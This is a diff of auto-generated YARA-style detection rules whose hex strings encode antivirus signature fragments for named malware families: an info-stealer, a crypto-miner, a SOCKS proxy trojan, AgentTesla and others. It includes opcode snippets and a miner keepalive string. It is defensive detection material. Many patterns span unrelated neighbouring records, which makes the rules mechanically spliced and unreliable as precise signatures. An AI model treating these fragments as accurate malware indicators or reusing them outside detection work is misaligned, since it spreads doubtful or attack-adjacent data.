00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 47 6f 48 44 00 01 00 2b 02 47 00 6f 00 48 00 44 00 56 00 32 00 90 01 02 2e 00 30 00 33 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 90 00 01 00 1a 00 49 00 6e 00 73 00 74 00 61 00 } //16748 + $a_6c_1 = {63 45 78 4e 75 6d 61 90 00 00 00 78 6f 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 37 00 02 00 23 03 50 45 00 00 64 86 08 90 01 11 0b 02 0e 2a 00 e4 1b 00 00 c4 1b 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 64 86 08 90 01 11 0b 02 0e 2b 00 b6 1b 00 00 } //16748 condition: ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*16748) >=2 } -rule _InfrastructureShared_6804{ +rule _InfrastructureShared_7175{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 37 00 02 00 23 03 50 45 00 00 64 86 08 90 01 11 0b 02 0e 2a 00 e4 1b 00 00 c4 1b 00 00 00 00 00 00 90 01 02 00 00 10 90 00 02 00 23 03 50 45 00 00 64 86 08 90 01 11 0b 02 0e 2b 00 b6 1b 00 00 d8 1b } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_7176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71087,18 +75001,29 @@ rule _InfrastructureShared_6804{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108) >=2 } -rule _InfrastructureShared_6805{ +rule _InfrastructureShared_7177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 59 49 31 32 33 21 4d 54 42 00 01 00 25 81 01 73 63 72 6f 75 6e 67 69 65 73 74 20 73 69 6e 67 61 70 6f 72 65 61 6e 73 6b 65 20 63 68 61 75 6b 69 64 61 72 69 01 00 16 81 01 6e 75 6c 69 6e 64 6b 6f } //18467 - $a_65_1 = {20 67 72 61 76 61 6d 65 6d 00 00 78 6f 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 46 00 01 00 21 03 48 81 ec b0 00 00 00 66 c7 85 90 01 04 0f 05 c6 85 90 01 04 c3 48 8b 05 90 01 04 48 85 c0 74 90 00 01 00 26 03 0d 20 20 20 20 3d 6e 74 64 6c 75 90 01 01 48 8b 90 01 02 48 83 c0 04 8b 00 0d 20 20 20 20 } //29549 + $a_65_1 = {20 67 72 61 76 61 6d 65 6d 00 00 78 6f 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 49 51 41 21 4d 54 42 00 01 00 24 03 47 0f b6 04 13 41 c1 e0 90 01 01 41 33 c0 8d 0c 00 8b d1 81 f2 90 01 04 85 c0 0f 49 d1 8d 04 12 8b c8 90 00 01 00 1b 03 0f 49 d0 8d 0c 12 8b c1 35 90 01 04 85 d2 0f 49 c1 49 ff } //29549 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29549) >=2 } -rule _InfrastructureShared_6806{ +rule _InfrastructureShared_7178{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 49 51 41 21 4d 54 42 00 01 00 24 03 47 0f b6 04 13 41 c1 e0 90 01 01 41 33 c0 8d 0c 00 8b d1 81 f2 90 01 04 85 c0 0f 49 d1 8d 04 12 8b c8 90 00 01 00 1b 03 0f 49 d0 8d 0c 12 } //21283 + $a_90_1 = {04 85 d2 0f 49 c1 49 ff c2 4d 3b d1 0f 82 90 00 00 00 78 6f 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 2e 46 00 01 } //-15989 + condition: + ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*-15989) >=2 + +} +rule _InfrastructureShared_7179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71109,7 +75034,7 @@ rule _InfrastructureShared_6806{ ((#a_46_0 & 1)*21283+(#a_83_1 & 1)*513) >=2 } -rule _InfrastructureShared_6807{ +rule _InfrastructureShared_7180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -71119,7 +75044,7 @@ rule _InfrastructureShared_6807{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6808{ +rule _InfrastructureShared_7181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -71129,7 +75054,7 @@ rule _InfrastructureShared_6808{ ((#a_77_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6809{ +rule _InfrastructureShared_7182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -71141,7 +75066,7 @@ rule _InfrastructureShared_6809{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*28656+(#a_70_2 & 1)*21340) >=2 } -rule _InfrastructureShared_6810{ +rule _InfrastructureShared_7183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -71154,42 +75079,33 @@ rule _InfrastructureShared_6810{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6f_2 & 1)*0+(#a_23_3 & 1)*4) >=2 } -rule _InfrastructureShared_6811{ +rule _InfrastructureShared_7184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 45 6c 65 78 42 75 69 6c 64 2e 41 31 00 01 00 0e 01 5c 42 75 69 6c 64 5c 65 43 79 62 65 72 5c 01 00 10 01 5c 74 72 75 6e 6b 5c 33 72 64 70 61 72 74 79 5c 01 00 0f 01 5c 53 75 70 53 6f 66 74 43 6f 6d 6d 69 74 5c 01 00 16 01 5c 67 64 70 5f 64 6f 77 } //18467 $a_61_1 = {65 72 5f 75 70 64 61 74 65 00 00 78 6f 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 41 31 00 01 00 07 01 50 6e 69 5f 77 00 00 01 00 06 01 42 75 75 68 75 26 02 00 13 01 46 60 6e 6b 62 58 4a 68 65 6e 6b 62 65 75 29 62 7f 62 00 02 00 22 01 6f 73 73 77 3d 28 28 31 34 29 36 33 34 29 33 3f 29 30 28 65 75 } //27758 - $a_28_2 = {66 77 2d 36 41 7e 7f 74 00 00 78 6f 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 49 41 21 4d 54 } //14153 - $a_00_3 = {42 01 06 } //66 + $a_28_2 = {66 77 2d 36 41 7e 7f 74 00 00 78 6f 00 00 03 00 03 00 02 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 58 4d 52 69 67 00 02 00 46 01 7b 22 69 64 22 3a 25 6c 6c } //14153 + $a_6a_3 = {6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6b 65 65 70 61 6c 69 76 65 64 22 } //11364 onrpc":"2.0","method":"keepalived" condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*27758+(#a_28_2 & 1)*14153+(#a_00_3 & 1)*66) >=2 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*27758+(#a_28_2 & 1)*14153+(#a_6a_3 & 1)*11364) >=2 } -rule _InfrastructureShared_6812{ +rule _InfrastructureShared_7185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 41 31 00 01 00 07 01 50 6e 69 5f 77 00 00 01 00 06 01 42 75 75 68 75 26 02 00 13 01 46 60 6e 6b 62 58 4a 68 65 6e 6b 62 65 75 29 62 7f 62 00 02 00 22 01 6f 73 73 77 3d 28 28 31 34 29 36 33 34 29 33 3f 29 30 28 65 } //18467 - $a_33_1 = {70 66 77 2d 36 41 7e 7f 74 00 00 78 6f 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 49 41 21 4d 54 42 00 03 } //18805 - $a_06_2 = {6f } //16896 o + $a_33_1 = {70 66 77 2d 36 41 7e 7f 74 00 00 78 6f 00 00 03 00 03 00 02 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 58 4d 52 69 67 00 02 00 46 01 7b 22 69 64 22 3a 25 6c 6c 64 2c 22 } //18805 + $a_6e_2 = {70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6b 65 65 70 61 6c 69 76 65 64 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 69 64 22 3a 22 25 73 22 7d 7d 01 00 05 01 6d 69 6e 65 72 00 00 02 00 78 6f 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 65 6d 73 69 6c 2e 53 48 21 4d 54 42 00 02 00 28 } //29546 + $a_11_3 = {9a 13 06 09 11 06 28 21 00 } //4353 condition: - ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*18805+(#a_06_2 & 1)*16896) >=2 + ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*18805+(#a_6e_2 & 1)*29546+(#a_11_3 & 1)*4353) >=2 } -rule _InfrastructureShared_6813{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 4d 52 69 67 2e 49 4a 49 41 21 4d 54 42 00 03 00 42 01 06 6f 0e 00 00 0a 0b 06 6f 13 00 00 0a 07 28 14 00 00 0a 0c 08 6f 15 00 00 0a 7e 02 00 00 04 25 3a 17 00 00 00 26 7e 01 00 00 04 fe 06 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_6814{ +rule _InfrastructureShared_7186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -71199,7 +75115,7 @@ rule _InfrastructureShared_6814{ ((#a_41_0 & 1)*20515) >=3 } -rule _InfrastructureShared_6815{ +rule _InfrastructureShared_7187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -71209,7 +75125,7 @@ rule _InfrastructureShared_6815{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_6816{ +rule _InfrastructureShared_7188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -71221,7 +75137,7 @@ rule _InfrastructureShared_6816{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*18626+(#a_73_2 & 1)*21038) >=3 } -rule _InfrastructureShared_6817{ +rule _InfrastructureShared_7189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -71233,7 +75149,7 @@ rule _InfrastructureShared_6817{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*23297+(#a_73_2 & 1)*25963) >=3 } -rule _InfrastructureShared_6818{ +rule _InfrastructureShared_7190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -71245,7 +75161,7 @@ rule _InfrastructureShared_6818{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28015+(#a_72_2 & 1)*29541) >=3 } -rule _InfrastructureShared_6819{ +rule _InfrastructureShared_7191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -71257,43 +75173,64 @@ rule _InfrastructureShared_6819{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*29287+(#a_75_2 & 1)*12082) >=3 } -rule _InfrastructureShared_6820{ +rule _InfrastructureShared_7192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 4b 31 32 33 21 4d 54 42 00 01 00 0a 81 01 70 72 65 63 75 72 72 65 6e 74 01 00 26 81 01 75 6e 66 75 6e 63 74 69 6f 6e 69 6e 67 20 63 65 6e 74 72 61 6c 61 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e } //18467 $a_01_1 = {00 06 81 01 73 65 72 61 63 73 00 00 78 6f 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 44 31 32 33 21 4d 54 42 00 01 00 08 81 01 75 76 72 64 69 67 65 73 01 00 20 81 01 68 6a 65 6c 6d 73 20 61 67 74 65 72 73 70 65 6a 6c 65 74 20 63 6f 6d 6d 65 6e 64 69 6e 67 6c 79 01 00 0e 81 01 76 69 72 75 } //29285 - $a_67_2 = {6f 6d 6d 65 73 00 00 78 6f 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 47 6f 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 0e 01 4c 69 73 74 65 6e 41 6e 64 53 65 72 76 65 01 00 1e 01 67 69 74 68 75 62 2e 63 6f 6d 2f 74 68 69 6e 67 73 2d 67 6f 2f 67 6f 2d 73 6f 63 6b 73 35 01 00 09 01 53 65 72 76 65 43 6f 6e 6e 00 } //29555 + $a_67_2 = {6f 6d 6d 65 73 00 00 78 6f 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 42 61 64 47 68 6f 73 74 2e 41 00 01 00 1e 03 49 8b 06 48 8b 48 10 48 8b 05 90 01 04 48 8b 54 38 10 44 8b 44 24 24 49 89 f1 ff d3 90 00 01 00 14 03 83 7c 38 20 90 01 01 0f 94 c0 49 8b 0e 48 8b 49 10 34 90 00 01 00 12 01 48 8b 41 08 48 8b 90 80 00 00 00 48 89 90 c8 00 00 00 00 } //29555 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29285+(#a_67_2 & 1)*29555) >=3 } -rule _InfrastructureShared_6821{ +rule _InfrastructureShared_7193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 44 31 32 33 21 4d 54 42 00 01 00 08 81 01 75 76 72 64 69 67 65 73 01 00 20 81 01 68 6a 65 6c 6d 73 20 61 67 74 65 72 73 70 65 6a 6c 65 74 20 63 6f 6d 6d 65 6e 64 69 6e 67 6c 79 01 00 0e 81 01 } //18467 - $a_75_1 = {73 79 67 64 6f 6d 6d 65 73 00 00 78 6f 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 47 6f 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 0e 01 4c 69 73 74 65 6e 41 6e 64 53 65 72 76 65 01 00 1e 01 67 69 74 68 75 62 2e 63 6f 6d 2f 74 68 69 6e 67 73 2d 67 6f 2f 67 6f 2d 73 6f 63 6b 73 35 01 00 09 } //26998 - $a_72_2 = {65 43 6f 6e 6e 00 00 78 6f 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 77 61 61 39 00 02 00 1a 80 01 31 32 39 2e 31 35 39 2f 63 74 72 6c 2f 64 5f 70 72 6f 63 65 73 73 2e 70 68 70 01 00 13 80 01 31 35 39 2f 63 74 72 6c 2f 72 65 61 6c 69 } //21249 + $a_75_1 = {73 79 67 64 6f 6d 6d 65 73 00 00 78 6f 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 42 61 64 47 68 6f 73 74 2e 41 00 01 00 1e 03 49 8b 06 48 8b 48 10 48 8b 05 90 01 04 48 8b 54 38 10 44 8b 44 24 24 49 89 f1 ff d3 90 00 01 00 14 03 83 7c 38 20 90 01 01 0f 94 c0 49 8b 0e 48 8b 49 10 34 90 00 01 00 12 01 48 8b 41 08 48 8b 90 80 } //26998 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26998+(#a_72_2 & 1)*21249) >=3 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26998) >=3 } -rule _InfrastructureShared_6822{ +rule _InfrastructureShared_7194{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 42 61 64 47 68 6f 73 74 2e 41 00 01 00 1e 03 49 8b 06 48 8b 48 10 48 8b 05 90 01 04 48 8b 54 38 10 44 8b 44 24 24 49 89 f1 ff d3 90 00 01 00 14 03 83 7c 38 20 90 01 01 0f 94 c0 49 8b 0e 48 8b 49 10 34 90 00 01 } //21283 + $a_48_1 = {41 } //4608 A + $a_90_2 = {00 00 00 48 89 90 c8 00 00 00 00 00 78 6f 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 47 6f 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 0e 01 4c 69 73 74 65 6e 41 6e 64 53 65 72 76 65 01 00 1e 01 67 69 74 68 75 62 2e 63 6f 6d 2f 74 68 69 6e 67 73 2d 67 6f 2f 67 6f 2d 73 6f 63 6b 73 35 01 00 09 01 53 65 72 76 65 43 6f 6e 6e 00 00 78 6f 00 00 04 00 04 00 02 00 21 23 } //18440 + condition: + ((#a_46_0 & 1)*21283+(#a_48_1 & 1)*4608+(#a_90_2 & 1)*18440) >=3 + +} +rule _InfrastructureShared_7195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 36 34 2f 47 6f 53 6f 63 6b 73 2e 41 21 64 68 61 00 01 00 0e 01 4c 69 73 74 65 6e 41 6e 64 53 65 72 76 65 01 00 1e 01 67 69 74 68 75 62 2e 63 6f 6d 2f 74 68 69 6e } //21539 - $a_67_1 = {2f 67 6f 2d 73 6f 63 6b 73 35 01 00 09 01 53 65 72 76 65 43 6f 6e 6e 00 00 78 6f 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 3a 41 64 77 } //29543 - $a_3a_2 = {69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 77 61 61 39 00 02 00 1a 80 01 31 32 39 2e 31 35 39 2f 63 74 72 6c 2f 64 5f 70 72 6f 63 65 73 73 2e 70 68 70 01 00 13 80 01 31 35 39 2f 63 74 72 6c 2f 72 65 61 6c 69 70 2e 70 68 70 01 00 09 80 01 6e 61 76 65 72 2e 63 6f 6d 00 00 78 6f 00 00 04 00 04 00 04 00 21 } //29281 + $a_67_1 = {2f 67 6f 2d 73 6f 63 6b 73 35 01 00 09 01 53 65 72 76 65 43 6f 6e 6e 00 00 78 6f 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a } //29543 + $a_4d_2 = {49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 42 4c 21 4d 54 42 00 02 00 30 03 ff ff 00 02 28 90 01 01 00 00 06 13 05 20 00 00 00 00 7e 90 01 01 01 00 04 7b 90 01 01 01 00 04 } //28257 condition: - ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*29543+(#a_3a_2 & 1)*29281) >=3 + ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*29543+(#a_4d_2 & 1)*28257) >=3 } -rule _InfrastructureShared_6823{ +rule _InfrastructureShared_7196{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 42 4c 21 4d 54 42 00 02 00 30 03 ff ff 00 02 28 90 01 01 00 00 06 13 05 20 00 00 00 00 7e 90 01 01 01 00 04 7b 90 01 01 01 00 04 39 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=4 + +} +rule _InfrastructureShared_7197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -71304,7 +75241,7 @@ rule _InfrastructureShared_6823{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26988) >=4 } -rule _InfrastructureShared_6824{ +rule _InfrastructureShared_7198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -71317,7 +75254,7 @@ rule _InfrastructureShared_6824{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29255+(#a_00_2 & 1)*116+(#a_65_3 & 1)*25902) >=4 } -rule _InfrastructureShared_6825{ +rule _InfrastructureShared_7199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -71329,7 +75266,7 @@ rule _InfrastructureShared_6825{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*2304+(#a_70_3 & 1)*28513) >=4 } -rule _InfrastructureShared_6826{ +rule _InfrastructureShared_7200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -71342,7 +75279,7 @@ rule _InfrastructureShared_6826{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8303+(#a_42_2 & 1)*17234+(#a_5c_3 & 1)*272) >=4 } -rule _InfrastructureShared_6827{ +rule _InfrastructureShared_7201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -71355,7 +75292,7 @@ rule _InfrastructureShared_6827{ ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*22593+(#a_54_2 & 1)*25441+(#a_72_3 & 1)*14918) >=4 } -rule _InfrastructureShared_6828{ +rule _InfrastructureShared_7202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -71363,13 +75300,13 @@ rule _InfrastructureShared_6828{ $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4b 69 6c 6c 67 65 6e 74 2e 42 00 01 00 05 01 ba 50 00 00 99 01 00 05 01 ba d0 00 00 99 01 00 05 01 ba d0 01 00 99 01 00 10 01 5c 5c 2e 5c 53 65 72 76 69 63 65 4d 6f 75 73 65 02 00 14 } //16675 $a_74_1 = {76 69 72 75 73 20 54 65 72 6d 69 6e 61 74 6f 72 00 00 78 6f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 50 56 21 4d 54 42 00 05 00 42 01 11 05 73 65 00 00 0a 73 7b 00 00 06 13 0d 16 13 16 38 23 00 00 00 11 0d 6f 7f 00 00 06 13 17 11 0d 6f 7f 00 00 06 13 18 11 04 11 17 11 } //16641 $a_00_2 = {00 0a 11 16 17 58 13 16 11 16 11 0c 3f d4 ff ff ff 00 00 78 6f 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 69 6e 4d 69 6e 65 72 2e 41 21 4d 54 42 00 05 00 41 01 11 04 16 6f a6 00 00 0a 11 04 6f a7 00 00 0a 14 13 17 73 69 00 00 06 13 18 11 18 11 1c 7d 2b 00 00 04 11 } //28440 - $a_00_3 = {00 0a 7d 2c 00 00 04 11 17 2d 0f 11 18 fe 06 6a 00 00 06 73 a9 00 00 0a 13 17 00 00 78 6f 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 57 65 77 73 38 37 00 01 00 0a 80 01 6c 61 6e 64 65 72 2e 70 64 62 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 13 80 01 33 37 4c 61 6e 64 65 72 55 70 67 72 61 64 65 2e 65 78 65 01 00 10 80 01 67 61 6d 65 43 6f 72 65 5f 63 65 66 2e 65 78 65 00 00 78 6f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //10264 - $a_2f_4 = {72 61 70 68 69 63 54 6f 72 63 68 2e 41 21 64 68 61 00 01 00 04 01 48 65 72 74 01 00 0c 01 43 6f 6e 66 69 67 54 68 72 65 61 64 01 00 06 01 23 45 58 49 } //13166 + $a_00_3 = {00 0a 7d 2c 00 00 04 11 17 2d 0f 11 18 fe 06 6a 00 00 06 73 a9 00 00 0a 13 17 00 00 78 6f 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 4e 42 21 4d 54 42 00 03 00 28 01 53 e8 f2 ff ff ff 8b d8 85 db 74 36 83 3d 90 77 41 00 ff 75 0a b8 e2 00 00 00 e8 e5 e3 ff ff 8b c3 e8 c6 ff ff ff 85 c0 02 00 15 01 75 0c b8 e2 00 00 00 e8 d0 e3 ff ff eb 0c 50 a1 90 77 41 00 50 00 00 78 6f 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 } //10264 + $a_77_4 = {38 37 00 01 00 0a 80 01 6c 61 6e 64 65 72 2e 70 64 62 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 13 80 01 33 37 4c 61 6e 64 65 72 55 70 67 72 61 64 65 2e 65 78 65 01 00 10 80 01 67 61 6d 65 43 6f 72 65 5f 63 65 66 2e 65 78 65 00 00 78 6f 00 00 05 00 05 00 04 00 21 23 50 55 41 3a } //22319 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*16641+(#a_00_2 & 1)*28440+(#a_00_3 & 1)*10264+(#a_2f_4 & 1)*13166) >=4 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*16641+(#a_00_2 & 1)*28440+(#a_00_3 & 1)*10264+(#a_77_4 & 1)*22319) >=4 } -rule _InfrastructureShared_6829{ +rule _InfrastructureShared_7203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -71379,7 +75316,7 @@ rule _InfrastructureShared_6829{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_6830{ +rule _InfrastructureShared_7204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -71389,20 +75326,44 @@ rule _InfrastructureShared_6830{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_6831{ +rule _InfrastructureShared_7205{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 4e 42 21 4d 54 42 00 03 00 28 01 53 e8 f2 ff ff ff 8b d8 85 db 74 36 83 3d 90 77 41 00 ff 75 0a b8 e2 00 00 00 e8 e5 e3 ff ff 8b c3 e8 c6 ff ff ff 85 c0 02 00 15 01 } //16675 + $a_e2_1 = {00 00 e8 d0 e3 ff ff eb 0c 50 a1 90 77 41 00 50 00 00 78 6f 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 57 65 77 73 38 37 00 01 00 0a 80 01 6c 61 6e 64 65 72 2e 70 64 62 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 13 80 01 33 37 4c 61 6e 64 65 72 55 70 67 72 61 64 65 2e 65 78 65 01 00 10 80 01 67 61 6d 65 43 6f 72 65 5f 63 65 66 2e 65 78 65 00 00 78 6f 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 75 70 69 73 68 00 02 00 0f 80 01 77 77 77 2e 63 6f 75 70 69 73 68 2e 63 6f 6d 01 } //3189 + condition: + ((#a_46_0 & 1)*16675+(#a_e2_1 & 1)*3189) >=5 + +} +rule 